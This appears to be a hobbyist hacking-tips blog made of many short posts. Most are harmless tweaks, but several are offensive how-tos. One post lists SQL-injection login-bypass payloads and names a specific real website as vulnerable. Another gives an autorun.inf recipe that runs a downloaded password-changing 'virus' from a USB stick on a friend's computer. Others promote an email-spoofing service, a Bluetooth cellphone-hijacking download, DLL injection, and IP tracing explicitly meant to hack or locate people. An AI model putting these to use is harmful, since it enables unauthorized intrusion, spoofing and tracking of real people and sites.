How to Hack Facebook Profile Photos

Along with the New Profile Page makeover launched, Facebook introduced the Photostream; a set of the five most recent photos in which you’ve been tagged, prominently displayed at the top of your profile. You can activate it here. Here’s what i did first thing when the new profiles went live:

Here are the instructions to execute the photo tags profile hack:

• Fire up your favorite image editor (this can be GIMP, Adobe Photoshop, or anything a slightly more advanced than MS Paint).
• Load an image of your choice.
• Resize its dimensions to 485 by 68 pixels (you might want to crop some unnecessary bits to make it look better)
• Now cut or crop the image into 5 pieces of 97 by 68 pixels each and save them (obviously, you can achieve this effect with 4, 3 or even just 2 images as well).
• Upload the five pieces to a Facebook album and start tagging yourself in reverse order. That means the part of the image that’s supposed to appear FIRST, should be tagged LAST. And you should start with the right end of the cut-up image. We’ve learned that it’s more accurate to tag yourself while viewing the album normally, instead of in Edit Album mode.
• If everything went well, you’ll have a new, awesome Facebook profile page header!

Video Tutorial

(Read more inside ..)

How to automate farmville with 'Farmville Bots', Cheats and Tricks

FarmVille is a real-time farm simulation game developed by Zynga, available as an application on the social-networking website Facebook and as an App on both the Apple iPhone and Android.
A Farmville Bot is an external tool (automated software) that you can use to run the game on its own, which will allow you to earn levels without you even being there. Having a Farmville bot will help you be the best at FarmVille without you needing to spend hours playing it. It will automatically harvest your crops ,perform seeding, plow all your land in one click and several game operations.

Here is a list of free bots and guides to help you cheat at FarmVille and impress your friends.

• Bot for FarmVille
• FarmHelper
• Farm Helper

(Read more inside ..)

Hack up an unprotected XP

(Read more inside ..)

New IE flaw exploited for attack on US firms

Attackers targeting Google and a host of other U.S. companies recently used software that exploits a new hole in Internet Explorer, Microsoft said on Thursday.

The flaw exists as an invalid pointer reference within IE and it could allow an attacker to take control of a computer if the target were duped into clicking on a link in an e-mail or an instant message that led to a Web site hosting malware, Microsoft said. "It could also be possible to display specially crafted Web content using banner advertisements or other methods to deliver Web content to affected systems," Microsoft said in the statement.

Microsoft is working on a fix but could not say whether it would address the issue as part of its next Patch Tuesday scheduled for February 9 or before.

Keeping the IE Internet zone security setting on "high" will protect users from the vulnerability by prompting before running ActiveX Controls and Active Scripting, Microsoft said. Customers should also enable Data Execution Prevention (DEP), which helps mitigate online attacks, the company said. DEP is enabled by default in IE 8 but must be manually turned on in earlier versions.

McAfee CTO George Kurtz detailed the vulnerability in a blog post.
"As with most targeted attacks, the intruders gained access to an organization by sending a tailored attack to one or a few targeted individuals. We suspect these individuals were targeted because they likely had access to valuable intellectual property," Kurtz wrote. "These attacks will look like they come from a trusted source, leading the target to fall for the trap and clicking a link or file. That's when the exploitation takes place, using the vulnerability in Microsoft's Internet Explorer."
Once it is downloaded and installed, the malware opens a back door that allows the attacker to gain complete control over the compromised system and "perform reconnaissance," Kurtz said. "The attacker can now identify high value targets and start to siphon off valuable data from the company," he wrote.




Via [zdnetasia] (Read more inside ..)

Everybody should be aware of Social Engineering

Online criminals can use sophisticated technology to try to gain access to your computer, or they can use something simpler and more insidious: social engineering.

Social engineering is a way for criminals to gain access to your computer. The purpose of social engineering is usually to secretly install spyware or other malicious software or to trick you into handing over your passwords or other sensitive financial or personal information.

Types of social engineering

• Phishing
  
• Spear Phishing
• E-mail hoaxes

Phishing: Fraudulent e-mail messages and Web sites

The most common form of social engineering is the phishing scam. Phishing scams employ fraudulent e-mail messages or Web sites that try to fool you into divulging personal information.

For example, you might receive an e-mail message that appears to come from your bank or other financial institution that asks you to update your account information. The e-mail message provides a link that appears to go to a legitimate site, but really takes you to a spoofed or fake Web site.

If you enter your login, password, or other sensitive information, a criminal could use it to steal your identity.

Phishing e-mail messages often include misspellings, poor use of grammar, threats, and exaggerations. For more information about phishing, see Recognize phishing scams and fraudulent e-mails.

If you think you might already be a victim, see What to do if you've responded to a phishing scam.


Spear phishing: Focused attacks that seem to come from people you know

Spear phishing is any highly targeted e-mail scam; but they usually are employed in a business environment.

Spear phishers send e-mail messages that appears genuine to all the employees or members within a certain company, government agency, organization, or group.

The message might look like it comes from your employer, or from a colleague who might send an e-mail message to everyone in the company, such as the head of human resources or IT. It might include requests for user names or passwords or might contain malicious software, like a trojan or a virus.

Spear phishing is a more sophisticated type of social engineering than phishing, but the techniques you can use to avoid being fooled are the same.

E-mail hoaxes: Look out for easy money promises

E-mail hoaxes come in many different forms, ranging from a scam that requests your help getting money out of a foreign country (often Nigeria) to a promise that you've won a lottery.

The common element is that you're usually promised a large sum of money for little or no effort on your part.

The scammer tries to get you to send money or reveal financial information that they can use to steal your money or your identity, or both.





Via [Microsoft ] (Read more inside ..)

SQL Injection - Part 1

Structure Query Language

' or '1'='1 Injection

It is a technique to inject SQL query as an input possibly via web pages. Actually the logic to validate the authenticity of users is manipulated by using some extra sql query. Many web pages take parameters from web user, and make SQL query to the database. For example when a user login, web page that user name and password and make SQL query to the database to check if a user has valid name and password. It is possible for us to send crafted user name and/or password field that will change the SQL query and thus grant to enter into the website.

This is my first article on SQL Injection. So, here we will see how to inject sql query in username and password fields to grant acess to the website. Not all websites are vulnerable to SQL Injection. We have to search websites those are vunerable to SQL Injection. This is simple.

Just enter ' or 'a'='a in username and password field and click login.

List of golden query:
All the following codes can be used for SQL Injection.

• ' or 'a'='a
• ' or '1'='1
• ' or '0'='0
• ' or '007'='007
• ' or 'biti'='biti
• ' or 'technozone'='technozone
• ' or 1=1 --

Example:
Following PHP code is for validating the authenticity of the user.


$_SESSION['username']=$_POST["username"];
$_SESSION['password']=$_POST["password"]; 

// query for a user/pass match
$result=mysql_query("select * from users where username='" . $_SESSION['username'] . "' and password='" . $_SESSION['password'] . "'");

// retrieve number of rows resulted
$num=mysql_num_rows($result);

if($num < 1)
{
    //Login Failed
    header('Refresh: 2; URL=login.php?msg=login_failed');
}
else
{
    //Login Sucessfull
    header('Refresh: 2;URL=admin/admin_home.php?msg=login_success');
}

So, if we put ' or 'a'='a in username and password field the query for a user/pass matchwill become

$result=mysql_query("select * from users where username='' or 'a'='a' and password='' or 'a' ='a' );

The above statement will now give all the data from the table users because both the conditions are true. And according to the logic of the user validation code the golden query ' or 'a'='a will help us to enter into the website.

I have found a vulnerable site where you can use this golden query ' or 'a'='a . This vulnerable website belongs to a institution related to IIT JEE Coaching. The site is www.fiitjee.com .

Friends search for more vulnerable site and inform them for the vulnerability.

Your Ad Here

(Read more inside ..)

Multiple login in Gtalk from the same computer

This hack is inspired from my previous post 'Multiple login in Yahoo Messenger from the same computer'. Friends now we will see how to login in multiple Gtalks from multiple IDs or same ID.

Steps to modify Google Gtalk for multiple login:

• Start > All Programs > Google Talk > Google Talk > Right Click on Google Talk Icon > Send To > Desktop (create shortcut) . All this is for creating a Gtalk shortcut in Desktop.
• Now Right Click on Gtalk shortcut icon which is in the desktop.
• Go to Properties
  
  
  
  
  
  
• Type '-nomutex' without quotes after googletalk.exe" giving a space in the Target text box. You can refer to the image below eg-  googletalk.exe" -nomutex
  
  
  
  
  
  
• Click OK after typing '-nomutex' in the specified place.
  
• You can open multiple Gtalk from the Gtalk desktop shortcut  icon only
• Now enjoy with your multiple Gtalks
  

(Read more inside ..)

Multiple login in Yahoo Messenger from same computer

 
In normal condition its not possible to login with multiple ID's in Yahoo Messenger from the same computer. But friends I had a trick for multiple login in yahoo messenger. Now, you can login with multiple ID's on the same yahoo messenger by a simple registry manipulation. You can fool your friends and girl friends by chatting simultaneously with them from two different Yahoo ID's.


Steps for multiple login :

• First of all close Yahoo Messenger, if it's open.
  
• Go to Start > Run > Type regedit > Click OK
• Go to HKEY_CURRENT_USER > Software > Yahoo > pager > Test
• On the right pane, right-click and choose new Dword value
• Rename it as Plural
• Double click and assign a decimal value of 1
• Now close registry
• Start Yahoo Messenger and login with Yahoo ID.
• For signing in with another Yahoo ID, open another messenger and login

You can directly download this file multiple yahoo login.reg , just double click it and click Yes. But before this close Yahoo Messenger. All your work is done. Now, start Yahoo Messenger as many time as you can and login with different Yahoo ID's.

Download Link: multiple_yahoo_login.reg (Read more inside ..)

How to change the browser title of Internet Explorer

Have you ever looked at the title bar of your Internet Explorer ? If no have a glimpse at your Internet Explorer title bar you will find something like 'about:blank - Microsoft Internet Explorer' or 'any website name - Microsoft Internet Explorer'.
Wann customerize the browser title, I have a small trick to do that. As you can see in the above picture the browser title has been changed to 'Google - Microsoft Internet Explorer by TechnoZone'. You can change the title to anything you want like 'about:blank - Microsoft Internet Explorer by Tom' or 'about:blank - Microsoft Internet Explorer by Biti' .

Here is the trick to customerize the browser title:

1. Click Start > Run > Type gpedit.msc
2. Click User Configuration > Windows Setting > Internet Explorer Maintenance > Browser User Interface
3. Double click on Browser Title
4. Click on Customize Title Bars
5. Type in whatever you want
6. Click OK

Now enjoy the trick and share it with your friends. (Read more inside ..)

How to send your own fake email

Hey friends wann send an email to whoever you want. I have found a site 'anonymailer' that lets you send free fake emails to anyone you like. You can fool your boss, friend, girlfriends & anyone you want with this fake email service.

Conditions:

• Make sure that the From address you choose contains a real internet domain name. For instance, don't choose bush@the.government, choose bush@whitehouse.gov. If you choose a domain that hasn't been registered, the mail may not be delivered.

Send fake mail automatically. (Click here)

Send fake mail by yourself means manually by typing command through telnet by connecting to the mail server. (Click here)

(Read more inside ..)

How to trace and visualize your current location in maps

Here is small Web Application for tracing your present location. Actually it trace your internet protocol address, mac address and rfid (radio frequency identification) and map it with the geolocation database. After successful mapping it will find out the current latitude and longitude of the computer or mobile. By the help of Google Maps API it will display your location on Google Maps.

Below is a button 'Trace My Location' just click on the button. A new page will open and display all your data country, region, city, zip-code, latitude and longitude with Google Maps.


Click the button 'Trace My Location' below to trace your present location

(Read more inside ..)

How to trace email sender Ip address and location

You must be thinking of how to know friend's IP Address or email sender IP Address. or the Sender ip address of spam mails. So that you can hack his/her computer or track his/her location. So here is a method to know the Ip Address from emails that you have received from your friends.

If you browse to the last of the article. I have done little scripting to trace the location of any ip address with goggle maps. Jump to the section

For GMail Users:

1. Go to Inbox.
2. Open the mail whose sender's IP Address you want to know.
3. In top-right corner of the mail there is Reply button and a arrow button pointing downwards.
4. Click on the arrow button and select 'Show original' from there.
5. A new window will open showing the source code of your mail.
6. Press Ctrl and F shortcut for Find.
   
7. If you have got the mail from yahoo. Type 'Received: from [' without quotes & press enter.
8. You will get a string like this 'Received: from [104.133.40.109] by web95204.mail.in2.yahoo.com via HTTP; Mon, 17 Aug 2009 15:38:48 IST'.
9. The number between the square bracket is the IP Address of the sender. for eg here in my case this number '104.133.40.109' is the sender IP Address from whom i have got the mail.
10. If you have got the mail from hotmail. Type ''X-Originating-IP: [' in the find text box.
11. You will get a string like this 'X-Originating-IP: [104.103.42.155]'. The number between the square bracket is the IP Address of the sender.
12. If you have got the mail from rediffmail.com. Search for a string like this 'Received: from unknown 122.121.420.27 by rediffmail.com via HTTP; 22 Aug 2009 17:55:30 -0000'. The number between the square bracket is the IP Address of the sender.

For Yahoo Users:

1. Go to your Inbox.
2. Open the mail whose sender's IP Address you want to know.
3. In yahoo classsic mode. In the bottom right corner of the mail there is a link 'Full Header'. Click on it.
4. In yahoo upgraded mode. It is at the top right corner of the mail a compact header/standard header will be there. Click on that and select Full Header.
5. A new window will open showing the source code of your mail.
6. Press Ctrl and F shortcut for Find, otherwise go to Edit->Find.
   
7. If you have got the mail from yahoo. Type 'Received: from [' without quotes. Search a string having this format as given in the example eg: 'Received: from [188.20.227.238] by web94801.mail.in2.yahoo.com via HTTP; Sun, 16 Aug 2009 21:14:16 IST'.The address between the square bracket is the ip address of the sender.
8. If you have got the mail from hotmail/msn. Search a string like this 'X-Originating-IP: [104.103.42.155]'. You may get many X-Originating-IP but the last one in the list is the required sender ip address. If you get only one its ok that is the required address. The address between the square bracket is the ip address of the sender.
9. If you have got the mail from rediffmail.com. Search for a string like this 'Received: from unknown 122.121.420.27 by rediffmail.com via HTTP; 22 Aug 2009 17:55:30 -0000'. The number between the square bracket is the IP Address of the sender.

For Hotmail Users:

1. Go to your Inbox.
2. Open the mail whose sender's IP Address you want to know.
3. Right click on the mail in the list and select View message source.
4. A new window will open showing the source code of your mail.
5. Press Ctrl and F shortcut for Find, otherwise go to Edit->Find.
6. If you have got the mail from yahoo. Type 'Received: from [' without quotes. Search a string having this format as given in the example eg: 'Received: from [188.20.227.238] by web94801.mail.in2.yahoo.com via HTTP; Sun, 16 Aug 2009 21:14:16 IST'.The address between the square bracket is the ip address of the sender.
7. If you have got the mail from hotmail/msn. Search a string like this 'X-Originating-IP: [104.103.42.155]'. You may get many X-Originating-IP but the last one in the list is the required sender ip address. If you get only one its ok that is the required address. The address between the square bracket is the ip address of the sender.
8. If you have got the mail from rediffmail.com. Search for a string like this 'Received: from unknown 122.121.420.27 by rediffmail.com via HTTP; 22 Aug 2009 17:55:30 -0000'. The number between the square bracket is the IP Address of the sender.

Guys If you have got a mail from GMail you cant trace the sender Ip Address. Google says

Protecting our users' privacy is something we take very seriously. IP addresses can be considered sensitive information. As such, sender IP address information is not displayed in Gmail outgoing mail headers.
Don't worry -- we aren't enabling spammers to abuse the system by not revealing IP addresses. Gmail uses many innovative spam filtering mechanisms to ensure that spammers have a difficult time sending bulk emails that arrive in users inboxes.
[link to the above statement]

TRACE IP ADDRESS AND GEO LOCATION ON MAP :

• Enter the IP Address of the email sender or anybody to detect the location of that IP Address and click on 'Search Sender Location'.
• If you want to know your own ip address location just click on 'Trace Own Location'.
  

Enter IP Address:

Trace your own location:

(Read more inside ..)

How to Open Command Prompt From Folder

Here is a technique "Registry Manipulation" for opening command prompt from a folder directly. Generally amateur programmers (may be java programmer, c or c++ programmer) or computer users open command prompt from Run or from the start menu. Its such a long process always opening cmd.exe from run or accessories and changing to the desired directory for compiling the files or for doing their work.
Here is a Registry Manipulation which will add 'command' to the folder context menu. By the help of which you can directly open command prompt logged on to the desired directory.

Steps:

1. Download the registry file. (Click here to download).
2. Double click the registry file "cmd_open_here.reg".
3. A window will pop up saying "Are you sure you want to add information in C:\cmd open here.reg to the registry?" click Yes.
4. After that just right click on any folder from where you want to open the Command Prompt logged on to that folder.
   

(Read more inside ..)

How to hack Minesweeper - Dynamic DLL Injection

You can hack Microsoft Minesweeper by Dynamic DLL Injection Technique. Dynamic DLL Injection is nothing but the injection that occurs after the program is executed. This technique is used by trojans & virus. When an attacker attempts to load code in process memory, then he is using Dynamic Injection.
It is working in Windows XP Service Pack 2 .

Tools Required:

• Hack.dll - Download It Here
• Advance Process Manipulation - Download It Here

Steps to hack Minesweeper:

1. Start Minesweeper (Start->All Programs->Games->Minesweeper)
2. Start APM (Advance Process Manipulation)
3. Select "c:\windows\system32\winmine.exe".
4. Right click on the module window in the lower half.
5. Then select "Load DLL" and select the Hack.dll, from where you have saved it in your computer.
6. If you have done every thing right, you will get this window "Dll Injection, Sucessfull" Click OK there.
   
7. After that you will get a window "Success, C:\Hack.dll has been loaded". Click OK .
   
8. Now, start playing Minesweeper.
   
9. Now you can close Advance Process Manipulation Software otherwise you can continue also.
   
10. Wow you have hacked minesweeper sucessfully. You will notice the timer has stopped after 01 seconds. Take as much time you need to complete the game.
    
11. After finishing your game . Select Hack.dll from the modules window and unload it. Otherwise close Advance Process Manipulation Software.

Note
*Not responsible for any type of malfunctioning of computer.
*Do at your own risk (Read more inside ..)

DLL Injection

Dynamic-link library or DLL, is Microsoft's implementation of the shared library concept in the Microsoft Windows and OS/2 operating systems.
DLL injection provides a manner for attributing the malicious .dll to running processes. Processes are tasks that are being handled by the operating system. DLL are Dynamic Link Libraries, are shared code that may be executed by a running process.There are two kinds of injection: static and dynamic injection. Static injection occurs prior to program execution. Dynamic injection occurs when processes are loaded into memory.
By injecting the DLL we can manipulate the working of the Process (.EXE File).

Prerequisites :

• Knowledge of Assembly Language.
• Knowledge of Windows API.
  

Tools Used :

• OllyDBG - 32-bit assembler level analysing debugger for Microsoft® Windows®

Download the following files to view the demo of DLL Injection.

http://rapidshare.com/files/260515091/winmine_MODIFIED.rar

http://rapidshare.com/files/260514950/mshearts_MODIFIED.rar


*Not responsible for any type of malfunction
*Not intended for altering of Microsoft Products, just a tutorial

(Read more inside ..)

How To Create Virus

Want to play prank with your friends computer . A sort of VIRUS which will change the password of yours friends computer & after restart he/she will not be able to log in the system.

Steps :

1. Open Notepad and type the following code into it

[autorun]

shell\lost=Open

shell\lost\command=Setup.exe

shell=lost

2. Save it as autorun.inf

3. Download the file (Dont change its name otherwise it will work)

OR
http://rapidshare.com/files/211258744/Setup.exe.html

4. Put both the files autorun.inf and Setup.exe into a Pen Drive or USB Drive.

5. Select both the files , right click on them , go to properties and there click on the hidden checkbox.

6. Remove the pendrive.

Now, our virus is ready when you insert your pendrive into your or your friends computer and open it, you will see the result.Upon execution a message will be displayed and the passwords are changed.

Note : I am not responsible for any sort of damage, Do it at your own risk.

(Read more inside ..)

How to hack cellphones

Hey Guys want to hack cell phones, get full access to the hacked cell phone phone-book, SMS, call log, cell information & many more stuffs to do. Like you can make a call from the hacked one to any number, put the hacked cell phone in ringing or silent mode , increase or decrease the volume ,etc. Now you must be eager to know 'How to hack cell phone' here is a stuff for you guys. Just download it and install it in your cell phones.

Prerequisites: Cell phone must be -

• J2me or java enabled
  
• Bluetooth enabled

Steps:

• Install the downloaded *.jar file in your cell phone.
• Follow the instruction provided here for configuration. (instruction)
• Now enjoy!
  

Download links:

• link 1
• link2
  

Video preview 'How to hack cell phone'

(Read more inside ..)

Hide Username at Logon prompt - Windows XP

Just copy the following code in red color, paste it in a notepad & save it as anyname but the extension must be .reg

and in place of Username type your username (the username you are using to logon to windows XP) thats all ..

After that just double click on the file ....

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]
"Username"=dword:00000000
(Read more inside ..)